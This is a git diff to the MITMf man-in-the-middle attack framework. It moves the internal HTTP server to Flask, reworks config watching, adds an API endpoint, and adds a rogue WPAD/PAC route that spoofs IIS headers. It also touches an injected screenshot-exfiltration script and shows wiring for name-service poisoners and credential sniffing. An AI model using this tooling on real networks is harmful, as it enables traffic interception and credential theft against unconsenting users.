diff --git a/config/mitmf.conf b/config/mitmf.conf index a88004b..dd15322 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -6,6 +6,7 @@ # Required BeEF and Metasploit options [[BeEF]] + beefip = 127.0.0.1 beefport = 3000 user = beef @@ -18,6 +19,11 @@ rpcport = 55552 rpcpass = abc123 + [[MITMf-API]] + + host = '127.0.0.1' + port = '9090' + [[SMB]] # @@ -57,16 +63,15 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - #This is still experimental, don't uncomment pls! - #[[HTTP]] + [[HTTP]] # # Here you can configure MITMf's internal HTTP server # - #port = 80 + port = 80 - #[[[Paths]]] + [[[Paths]]] # # Here you can define the content to deliver @@ -74,8 +79,8 @@ # Format is urlpath = filesystem path (urlpath can be a regular expression) - # ".*" = "/var/www" - # "/test" = "/var/www2" + ".*" = "/var/www" + "/test" = "/var/www2" [[DNS]] diff --git a/core/configwatcher.py b/core/configwatcher.py index 7179bda..1023a7a 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -14,11 +14,6 @@ class ConfigWatcher(FileSystemEventHandler): _instance = None config = ConfigObj("./config/mitmf.conf") - def __init__(self): - observer = Observer() - observer.schedule(self, path='./config', recursive=False) - observer.start() - @staticmethod def getInstance(): if ConfigWatcher._instance is None: @@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler): self.reloadConfig() self.onConfigChange() + def startConfigWatch(self): + observer = Observer() + observer.schedule(self, path='./config', recursive=False) + observer.start() + def onConfigChange(self): """ We can subclass this function to do stuff after the config file has been modified""" pass diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fe50ad7..55219d6 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -2871,8 +2871,10 @@ function grab() { xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); var x=encodeURIComponent(dat); xmlhttp.send(x); - } - }); + }, + width: screen.width, + height: screen.height + }); } setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/mitmfapi.py b/core/mitmfapi.py index 1bd6385..b6c7ff8 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -1,6 +1,6 @@ #!/usr/bin/env python2.7 -# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -31,18 +31,30 @@ import json import sys from flask import Flask +from core.configwatcher import ConfigWatcher from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -log = logging.getLogger('werkzeug') -log.setLevel(logging.DEBUG) +#log = logging.getLogger('werkzeug') +#log.setLevel(logging.DEBUG) class mitmfapi: + _instance = None + host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host'] + port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port']) + + @staticmethod + def getInstance(): + if mitmfapi._instance is None: + mitmfapi._instance = mitmfapi() + + return mitmfapi._instance + @app.route("/") def getPlugins(): - # example: http://127.0.0.1:9090/getPlugins + # example: http://127.0.0.1:9090/ pdict = {} #print ProxyPlugins.getInstance().plist @@ -60,7 +72,7 @@ class mitmfapi: @app.route("/") def getPluginStatus(plugin): - # example: http://127.0.0.1:9090/getPluginStatus/cachekill + # example: http://127.0.0.1:9090/cachekill for p in ProxyPlugins.getInstance().plist: if plugin == p.name: return json.dumps("1") @@ -69,8 +81,8 @@ class mitmfapi: @app.route("//") def setPluginStatus(plugin, status): - # example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled - # example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled + # example: http://127.0.0.1:9090/cachekill/1 # enabled + # example: http://127.0.0.1:9090/cachekill/0 # disabled if status == "1": for p in ProxyPlugins.getInstance().plist_all: if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): @@ -85,8 +97,8 @@ class mitmfapi: return json.dumps({"plugin": plugin, "response": "failed"}) - def startFlask(self, host='127.0.0.1', port=9090): - app.run(host=host, port=port) + def startFlask(self): + app.run(host=self.host, port=self.port) #def start(self): # api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask) diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index e65ad33..0e8f79c 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -420,8 +420,6 @@ class DNSChef(ConfigWatcher): version = "0.4" def __init__(self): - ConfigWatcher.__init__(self) - self.tcp = False self.ipv6 = False self.hsts = False @@ -430,8 +428,6 @@ class DNSChef(ConfigWatcher): self.server_address = "0.0.0.0" self.nameservers = ["8.8.8.8"] self.port = 53 - - self.onConfigChange() @staticmethod def getInstance(): @@ -477,6 +473,9 @@ class DNSChef(ConfigWatcher): self.hsts = True def start(self): + self.onConfigChange() + self.startConfigWatch() + try: if self.config['MITMf']['DNS']['tcp'].lower() == 'on': self.startTCP() diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py deleted file mode 100644 index 054975e..0000000 --- a/core/servers/http/HTTPServer.py +++ /dev/null @@ -1,82 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import sys -import tornado.ioloop -import tornado.web -import threading - -from core.configwatcher import ConfigWatcher - -tornado_logger = logging.getLogger("tornado") -tornado_logger.propagate = False -formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -fileHandler = logging.FileHandler("./logs/mitmf.log") -streamHandler = logging.StreamHandler(sys.stdout) -fileHandler.setFormatter(formatter) -streamHandler.setFormatter(formatter) -tornado_logger.addHandler(fileHandler) -tornado_logger.addHandler(streamHandler) - -class HTTPServer(ConfigWatcher): - - _instance = None - application = tornado.web.Application([]) - http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"]) - - @staticmethod - def getInstance(): - if HTTPServer._instance == None: - HTTPServer._instance = HTTPServer() - - return HTTPServer._instance - - def addHandler(self, urlregex, handler, vhost=''): - self.application.add_handlers(vhost, [(urlregex, handler)]) - - def addStaticPathHandler(self, urlregex, path, vhost=''): - self.application.add_handlers(vhost, [(urlregex, {"static_path": path})]) - - def resetApplication(self): - self.application = tornado.web.Application([]) - - def parseConfig(self): - for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems(): - self.addStaticPathHandler(url, path) - - def onConfigChange(self): - self.resetApplication() - self.parseConfig() - - def start(self): - self.parseConfig() - self.application.listen(self.http_port) - - t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) - t.setDaemon(True) - t.start() - -class HTTPHandler(tornado.web.RequestHandler): - def get(self): - raise HTTPError(405) - - def post(self): - raise HTTPError(405) \ No newline at end of file diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py new file mode 100644 index 0000000..aa585f6 --- /dev/null +++ b/core/servers/http/HTTPserver.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys +import threading + +from core.configwatcher import ConfigWatcher +from flask import Flask + +class HTTPserver: + + _instance = None + server = Flask(__name__) + port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port']) + + @staticmethod + def getInstance(): + if HTTPserver._instance is None: + HTTPserver._instance = HTTPserver() + + return HTTPserver._instance + + def startFlask(self): + self.server.run(host='0.0.0.0', port=self.port) + + def start(self): + server_thread = threading.Thread(name='HTTPserver', target=self.startFlask) + server_thread.setDaemon(True) + server_thread.start() \ No newline at end of file diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index e2656e8..0eabf7c 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher): _instance = None impacket_ver = version.VER_MINOR - server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower() - smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"] - smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"]) + server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower() + smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"] + smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"]) @staticmethod def getInstance(): diff --git a/mitmf.py b/mitmf.py index 9ee2ef4..77f9ee7 100755 --- a/mitmf.py +++ b/mitmf.py @@ -29,7 +29,6 @@ from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown -from core.mitmfapi import mitmfapi from plugins import * Banners().printBanner() @@ -159,18 +158,22 @@ reactor.listenTCP(args.listen, strippingFactory) for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it + p.startConfigWatch() if hasattr(p, 'startThread'): t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) t.setDaemon(True) t.start() -mitmfapi().start() - print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) +#Start MITMf-API +from core.mitmfapi import mitmfapi +mitmfapi().start() +print "|_ MITMf-API running on http://{}:{}/".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port) + #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) @@ -182,9 +185,9 @@ DNSChef.getInstance().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the HTTP Server -#from core.servers.http.HTTPServer import HTTPServer -#HTTPServer.getInstance().start() -#print "|_ HTTP server online" +from core.servers.http.HTTPserver import HTTPserver +HTTPserver.getInstance().start() +print "|_ HTTP server online" #Start the SMB server from core.servers.smb.SMBserver import SMBserver diff --git a/plugins/Responder.py b/plugins/Responder.py index 9ea9fec..f75b304 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -21,12 +21,12 @@ from plugins.plugin import Plugin from twisted.internet import reactor from core.utils import SystemConfig, shutdown +from core.configwatcher import ConfigWatcher from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter -from core.responder.wpad.WPADPoisoner import WPADPoisoner class Responder(Plugin): name = "Responder" @@ -54,8 +54,23 @@ class Responder(Plugin): LLMNRPoisoner().start(options, self.ourip) if options.wpad: - from core.responder.wpad.WPADPoisoner import WPADPoisoner - WPADPoisoner().start(options) + from core.servers.http.HTTPserver import HTTPserver + import flask + + server = HTTPserver.getInstance().server + + @server.route('/') + def wpad(wpad_req): + if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + payload = ConfigWatcher.getInstance().config['Responder']['WPADScript'] + + resp = flask.Response(payload) + resp.headers['Server'] = "Microsoft-IIS/6.0" + resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" + resp.headers['X-Powered-By'] = "ASP.NET" + resp.headers['Content-Length'] = len(payload) + + return resp if self.config["Responder"]["MSSQL"].lower() == "on": from core.responder.mssql.MSSQLServer import MSSQLServer diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index e6657fc..fb7d95c 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin): def initialize(self, options): self.target_ip = SystemConfig.getIP(options.interface) - Inject.initialize(options) + Inject.initialize(self, options) self.html_payload = self._get_data() def _get_data(self): diff --git a/plugins/plugin.py b/plugins/plugin.py index ff0dd97..4578edf 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf') class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" - tree_info = list() + tree_info = [] desc = "" version = "0.0" has_opts = False